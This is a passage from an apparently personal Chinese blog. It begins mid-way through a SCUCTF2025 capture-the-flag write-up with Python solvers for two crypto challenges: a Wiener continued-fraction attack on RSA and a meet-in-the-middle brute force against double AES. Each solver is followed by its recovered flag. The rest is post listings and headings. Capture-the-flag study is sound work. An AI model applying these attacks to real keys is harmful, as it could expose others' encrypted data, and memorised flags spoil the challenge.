n = 53935752499632394237566118604359892718551599347103770165725315381682199061231305149871806005165260280090479975164442744084144966392328763556404239396226819470535452063874887678501380410846947366731878954649755863213861355954458952288934844717604661623462592208245116654049598341395547558917480988549480710053
37
e = 24089812727939473377106986839231213000027354412422404767919546765423920656889461253619150192713429210805965327870135779746565500272194239190912741430085434073206746835643285459484069375458331543164741898206782337319633955007342267096062328568437378488906707151581554299081980005056634810284685406654001592981
38
c = 11841667115298930394046403591110886728843116188296120349135149714823163139880036389113944364018136771206785113712667463402504792394799117772574425782666242546383751254294439949528419287518978093348377437226381021286296812291097137179772817826065372736601838186625888784853135191493875564754914102135431686285
39

40
cf = continued_fractions(e, n)
41
conv = convergents(cf)
42

43
found_d = None
44
for k, d in conv:
45
    if k == 0: continue
46

47
    if (e * d - 1) % k == 0:
48
        phi = (e * d - 1) // k
49

50
        # Check roots
51
        # equation: x^2 - (n - phi + 1)x + n = 0
52
        b_val = -(n - phi + 1)
53
        roots = solve_quadratic_int(1, b_val, n)
54
        if roots:
55
            found_d = d
56
            break
57

58
if found_d:
59
    m = pow(c, found_d, n)
60
    try:
61
        print(m.to_bytes((m.bit_length() + 7) // 8, 'big'))
62
    except:
63
        print(m)
64
else:
65
    print("Failed")

显示更多显示更少

解出flag：flag{a11b0b9c19ed439eaf7144c8d6211eba}

Crypto-Symmetrical Encryption 解题步骤#

编写代码

1
from hashlib import md5
2
from itertools import product
3

4
SBOX = [
5
    [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76],
6
    [0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0],
7
    [0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15],
8
    [0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75],
9
    [0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84],
10
    [0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF],
11
    [0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8],
12
    [0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2],
13
    [0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73],
14
    [0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB],
15
    [0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79],
16
    [0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08],
17
    [0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A],
18
    [0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E],
19
    [0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF],
20
    [0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
21
    ]
22

23
SBOX_inv = [
24
    [0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB],
25
    [0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB],
26
    [0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E],
27
    [0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25],
28
    [0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92],
29
    [0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84],
30
    [0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06],
31
    [0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B],
32
    [0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73],
33
    [0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E],
34
    [0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B],
35
    [0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4],
36
    [0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F],
37
    [0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF],
38
    [0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61],
39
    [0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D]
40
    ]
41

42
Rcon = [0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000]
43

44
def SubBytes(State):
45
    for i in range(len(State)):
46
        row = State[i] >> 4
47
        col = State[i] & 0xF
48
        State[i] = SBOX[row][col]
49
    return State
50

51
def SubByte_inverse(State):
52
    for i in range(len(State)):
53
        row = State[i] >> 4
54
        col = State[i] & 0xF
55
        State[i] = SBOX_inv[row][col]
56
    return State
57

58
def ShiftRow(S):
59
    return [S[0],S[5],S[10],S[15],
60
            S[4],S[9],S[14],S[3],
61
            S[8],S[13],S[2],S[7],
62
            S[12],S[1],S[6],S[11]]
63

64
def ShiftRow_inverse(S):
65
    return [S[0],S[13],S[10],S[7],
66
            S[4],S[1],S[14],S[11],
67
            S[8],S[5],S[2],S[15],
68
            S[12],S[9],S[6],S[3]]
69

70
def GFmul(poly1,poly2):
71
    result = 0
72
    for index in range(poly2.bit_length()):
73
        if poly2 & 1 << index:
74
            result ^= (poly1 << index)
75
    return result
76

77
def mod(poly):
78
    MOD = 0b100011011
79
    while poly.bit_length() > 8:
80
        poly ^= MOD << (poly.bit_length() - 9)
81
    return poly
82

83
def MixColumns(State):
84
    T = [[0x2, 0x3, 0x1, 0x1],
85
        [0x1, 0x2, 0x3, 0x1],
86
        [0x1, 0x1, 0x2, 0x3],
87
        [0x3, 0x1, 0x1, 0x2]]
88

89
    M = [0 for _ in range(16)]
90
    for row in range(4):
91
        for col in range(4):
92
            for Round in range(4):
93
                M[row + col*4] ^= GFmul(T[row][Round],State[Round + col*4])
94
            M[row + col*4] = mod(M[row + col*4])
95
    return M
96

97
def MixColumns_inverse(State):
98
    T = [[0xe, 0xb, 0xd, 0x9],
99
        [0x9, 0xe, 0xb, 0xd],
100
        [0xd, 0x9, 0xe, 0xb],
101
        [0xb, 0xd, 0x9, 0xe]]
102

103
    M = [0 for _ in range(16)]
104
    for row in range(4):
105
        for col in range(4):
106
            for Round in range(4):
107
                M[row + col*4] ^= GFmul(T[row][Round],State[Round + col*4])
108
            M[row + col*4] = mod(M[row + col*4])
109
    return M
110

111
def RotWord(_4byte_block):
112
    res = ((_4byte_block & 0xFFFFFF) << 8) + (_4byte_block >> 24)
113
    return res
114

115
def SubWord(_4byte_block):
116
    res = 0
117
    for position in range(4):
118
        i = _4byte_block >> position * 8 + 4 & 0xF
119
        j = _4byte_block >> position * 8 & 0xF
120
        res ^= SBOX[i][j] << position * 8
121
    return res
122

123
def generateKey(key:bytes):
124
    key = int.from_bytes(key)
125
    w = [key >> 96,
126
        key >> 64 & 0xFFFFFFFF,
127
        key >> 32 & 0xFFFFFFFF,
128
        key & 0xFFFFFFFF]
129
    w = w + [0] * 40
130
    for i in range(4,44):
131
        tmp = w[i-1]
132
        if i % 4 == 0:
133
            tmp = SubWord(RotWord(tmp)) ^ Rcon[i // 4 - 1]
134
        w[i] = w[i-4] ^ tmp
135
    newkey = [sum([w[4*i]<<96,w[4*i+1]<<64,w[4*i+2]<<32,w[4*i+3]]).to_bytes(16,byteorder = 'big') for i in range(11)]
136
    return newkey
137

138
def _16bytes_xor(_16bytes_1,_16bytes_2):
139
    len1 = len(_16bytes_1)
140
    if len1 != 16:
141
        _16bytes_1 = b"\x00"*(16 - len1) + _16bytes_1
142
    len2 = len(_16bytes_2)
143
    if len2 != 16:
144
        _16bytes_2 = b"\x00"*(16 - len2) + _16bytes_2
145
    return [_16bytes_1[i] ^ _16bytes_2[i] for i in range(16)]
146

147
def AddRoundKey(State,Roundkeys,index):
148
    return _16bytes_xor(State,Roundkeys[index])
149

150
def EncryptBlock(block: bytes, key: bytes):
151
    State = list(block)
152
    Roundkeys = generateKey(key)
153
    State = AddRoundKey(State,Roundkeys,0)
154
    for round in range(1,10):
155
        State = SubBytes(State)
156
        State = ShiftRow(State)
157
        State = MixColumns(State)
158
        State = AddRoundKey(State,Roundkeys,round)
159
    State = SubBytes(State)
160
    State = ShiftRow(State)
161
    State = AddRoundKey(State,Roundkeys,10)
162
    return bytes(State)
163

164
def DecryptBlock(block: bytes, key: bytes):
165
    State = list(block)
166
    Roundkeys = generateKey(key)
167
    State = AddRoundKey(State,Roundkeys,10)
168
    for round in range(1,10):
169
        State = ShiftRow_inverse(State)
170
        State = SubByte_inverse(State)
171
        State = AddRoundKey(State,Roundkeys,10-round)
172
        State = MixColumns_inverse(State)
173
    State = ShiftRow_inverse(State)
174
    State = SubByte_inverse(State)
175
    State = AddRoundKey(State,Roundkeys,0)
176
    return bytes(State)
177

178
def unpad(message:bytes):
179
    pad_len = message[-1]
180
    if pad_len < 1 or pad_len > 16:
181
        raise ValueError("Invalid padding")
182
    if message[-pad_len:] != bytes([pad_len] * pad_len):
183
        raise ValueError("Invalid padding")
184
    return message[:-pad_len]
185

186
def FullDecrypt(ciphertext, key):
187
    blocks = [ciphertext[i*16:(i+1)*16] for i in range(len(ciphertext) // 16)]
188
    plaintext = b""
189
    for block in blocks:
190
        plaintext += DecryptBlock(block, key)
191
    return unpad(plaintext)
192

193
unique_ints = sorted(list(set(b"Block_Encrypt")))
194
plaintext = b"Block_Encryption"
195
ciphertext = b'\xbd\xbe\xbe\xa6\xd2\x97\xd8\x95P\x08\x9a\xcac\xc0U\x13'
196
enc_flag = b'H,\xac\xa0\xf2Y2\xb6\xe1d#\x99o`\xfcO@\x06\xf4jm\x15\x84\x0b\xd5s1\xdf\xc1$\x04U<h\xe78\xd5u\x96\xc1\xf4\xe9"X\xd0@\x01\x92'
197

198
# 1. Build table: E(P, k1) -> a
199
forward_map = {}
200
for p in product(unique_ints, repeat=4):
201
    a = bytes(p)
202
    k1 = md5(a).digest()
203
    mid = EncryptBlock(plaintext, k1)
204
    forward_map[mid] = a
205

206
# 2. Check
207
found_a = None
208
found_b = None
209

210
for p in product(unique_ints, repeat=4):
211
    b_cand = bytes(p)
212
    k2 = md5(b_cand).digest()
213
    dec_mid = DecryptBlock(ciphertext, k2)
214
    if dec_mid in forward_map:
215
        found_a = forward_map[dec_mid]
216
        found_b = b_cand
217
        print(f"Found! a={found_a}, b={found_b}")
218
        break
219

220
if found_a and found_b:
221
    final_key = md5(found_a + found_b).digest()
222
    try:
223
        flag = FullDecrypt(enc_flag, final_key)
224
        print(f"Flag: {flag}")
225
    except Exception as e:
226
        print(f"Decryption failed: {e}")
227
else:
228
    print("Not found.")

显示更多显示更少

解出flag：flag{Meet_In_The_Middle_Attack_Successfully!}

CodeAtlantis的小小博客

软件工程电子课本收集（持续更新）

大一上#

大一下#

大二上#

Java复习笔记

Java复习笔记#

一、大题：#

1.类之间的关系#

2.常用写法#

(1) Main函数#

(2) ArrayList和循环#

(3) 输出#

(4) 接口声明#

(5) 数组相关#

(6) 字符串相关#

(7) Vector相关#

(8) 文件读入#

3.UML题目做题策略#

二、单选题知识点整理#

1.Arraylist和vector#

2.继承#

3.接口#

4.Srting类#

5.数组#

6.关键字#

7.泛型#

8.UML图绘制#

(1)访问权限符号#

(2)语法格式#

(3)绘图线条#

(4)用例图#

(5)时序图#

9.五大设计模式#

10.Package包#

11.重写和重载#

12.异常#

13.内部类#

14.构造方法#

15.多态#

16.关联和聚合#

17.静态模型和对象模型#

18.文件读写#

小知识点#

三、易错题&难题#

四、历年真题#

五、大题整理（源自真题）#

英语作文素材积累

英语作文素材积累（持续更新）#

一、 背景引入与现象描述 (Introduction & Background)#

二、 观点陈述与态度表达 (Opinion & Attitude)#

三、 利弊权衡与对比分析 (Advantages, Disadvantages & Comparison)#

四、 影响分析与因果推导 (Impact & Causality)#

五、 解决方案与行动倡议 (Solutions & Actions)#

六、 逻辑衔接与篇章结构 (Logical Connectors & Structure)#

七、 核心价值与个人发展 (Values & Personal Development)#

八、 写作提示与高频替换 (Writing Tips & Lexical Substitution)#

Nomad自动分配Beszel监控

一、在Beszel中添加客户端#

二、在Nomad中新建job 连接Beszel#

使用Huggingface的免费Docker空间运行Code Server

方案涵盖的功能#

方案仍有的不足#

部署教程#

1.进入Huggingface，创建Docker Space#

2.进入Space，新建两个文件#

新建一个名为Dockerfile的文件，内容如下：#

新建一个名为start.sh的文件，内容如下#

3.进入Space Settings，新建两个Secret#

4.等待部署完成，开始愉快的使用#

免责声明#

VSCODE中配置Codex中转api

配置过程#

1.在vscode中安装Codex插件#

2.安装Codex-cli#

3.配置Codex#

SCUCTF2025 WriteUp For Pwn

题目解题过程#

Pwn-Test_You_NC 解题步骤：#

Pwn-ret2function 解题步骤：#

一、背景引入与现象描述 (Introduction & Background)#

二、观点陈述与态度表达 (Opinion & Attitude)#

三、利弊权衡与对比分析 (Advantages, Disadvantages & Comparison)#

四、影响分析与因果推导 (Impact & Causality)#

五、解决方案与行动倡议 (Solutions & Actions)#

六、逻辑衔接与篇章结构 (Logical Connectors & Structure)#

七、核心价值与个人发展 (Values & Personal Development)#

八、写作提示与高频替换 (Writing Tips & Lexical Substitution)#

新建一个名为`Dockerfile`的文件，内容如下：#

新建一个名为`start.sh`的文件，内容如下#

Web-教务管理系统解题步骤：#

Web-死亡PING命令解题步骤：#

Misc-二维码的秘密解题步骤：#

Misc-欢迎来到川大解题步骤：#

Misc-奇怪的字符解题步骤：#

Crypto-山人八卦袖内藏解题步骤#

Crypto-什么栏目解题步骤#

Crypto-小小维纳，可笑可笑解题步骤#